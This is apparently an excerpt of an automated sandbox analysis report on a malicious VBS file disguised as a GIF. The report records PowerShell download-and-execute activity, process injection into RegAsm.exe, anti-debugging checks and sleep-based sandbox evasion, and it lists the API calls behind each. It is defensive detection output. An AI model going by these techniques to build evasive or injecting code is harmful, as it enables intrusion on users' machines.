Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00444E71 push ecx; ret	5_2_00444E81
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00414060 push eax; ret	7_2_00414074
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00414060 push eax; ret	7_2_0041409C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00414039 push ecx; ret	7_2_00414049
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004164EB push 0000006Ah; retf	7_2_004165C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00416553 push 0000006Ah; retf	7_2_004165C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00416555 push 0000006Ah; retf	7_2_004165C4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00406EB0 ShellExecuteW,URLDownloadToFileW,

3_2_00406EB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

3_2_0041AA4A

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: gif.vbs

Static PE information: screensimplethingstohandlecream.gIF.vbs

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_0041CB50

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040F7A7 Sleep,ExitProcess,

3_2_0040F7A7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,FindCloseChangeNotification,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,

4_2_0040DD85

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,

3_2_0041A748

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4496	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5370	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 1056	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 8437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: foregroundWindowGot 1772	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_3-52721

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 9.4 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6716	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6816	Thread sleep count: 272 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6816	Thread sleep time: -136000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6768	Thread sleep count: 1056 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6768	Thread sleep time: -3168000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6768	Thread sleep count: 8437 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6768	Thread sleep time: -25311000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	3_2_00409253
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	3_2_0041C291
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	3_2_0040C34D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	3_2_00409665
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	3_2_0040880C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040783C FindFirstFileW,FindNextFileW,	3_2_0040783C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	3_2_00419AF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	3_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	3_2_0040BD37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_100010F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_0040AE51 FindFirstFileW,FindNextFileW,	4_2_0040AE51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,	5_2_00407EF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,	7_2_00407898

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

3_2_00407C97

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00418981 memset,GetSystemInfo,

4_2_00418981

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: wscript.exe, 00000000.00000003.1641436794.0000025D73463000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1640762944.0000025D7344B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1640791138.0000025D7345F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HGFs]
Source: RegAsm.exe, 00000003.00000002.2929959756.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW2
Source: RegAsm.exe, 00000003.00000002.2929959756.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2929959756.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: bhvDE09.tmp.4.dr	Binary or memory string: https://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
Source: wscript.exe, 00000000.00000003.1641436794.0000025D73463000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1640762944.0000025D7344B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1640791138.0000025D7345F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HgFs]
Source: powershell.exe, 00000001.00000002.1796467839.000001F16A43B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: bhvDE09.tmp.4.dr	Binary or memory string: https://config.edge.skype.com/config/v1/Skype/1446_8.53.0.77?OSVer=10.0.19045.2006&ClientID=RHTiQUpXOaQeBtbq%2B7LgJauNdx5lF%2FQ%2FOy2qwXRNGjU%3D&Manufacturer=VMware%2C%20Inc.&Model=VMware20%2C1&Language=en&Locale=en-US

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node			graph_3-54572
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Yara detected Powershell decode and execute

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_004349F9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

4_2_0040DD85

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_0041CB50

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004432B5 mov eax, dword ptr fs:[00000030h]		3_2_004432B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_10004AB4 mov eax, dword ptr fs:[00000030h]		3_2_10004AB4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00411CFE SetLastError,GetNativeSystemInfo,SetLastError,GetProcessHeap,HeapAlloc,SetLastError,

3_2_00411CFE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_004349F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00434B47 SetUnhandledExceptionFilter,	3_2_00434B47
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0043BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0043BB22
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00434FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00434FDC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_100060E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_100060E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_10002639 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_10002639
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_10002B1C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_10002B1C

HIPS / PFW / Operating System Protection Evasion

Source: Yara match

File source: amsi64_6744.amsi.csv, type: OTHER

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_6744.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6744, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004180EF GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,CreateProcessW,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtCreateSection,NtUnmapViewOfSection,NtMapViewOfSection,VirtualFree,NtClose,TerminateProcess,GetModuleHandleA,GetProcAddress,GetCurrentProcess,NtMapViewOfSection,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,VirtualFree,GetCurrentProcess,NtUnmapViewOfSection,NtClose,TerminateProcess,GetLastError,

3_2_004180EF

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe protection: execute and read and write	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 477000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 478000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 479000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: AED008	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe

3_2_00412117

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00419627 mouse_event,

3_2_00419627

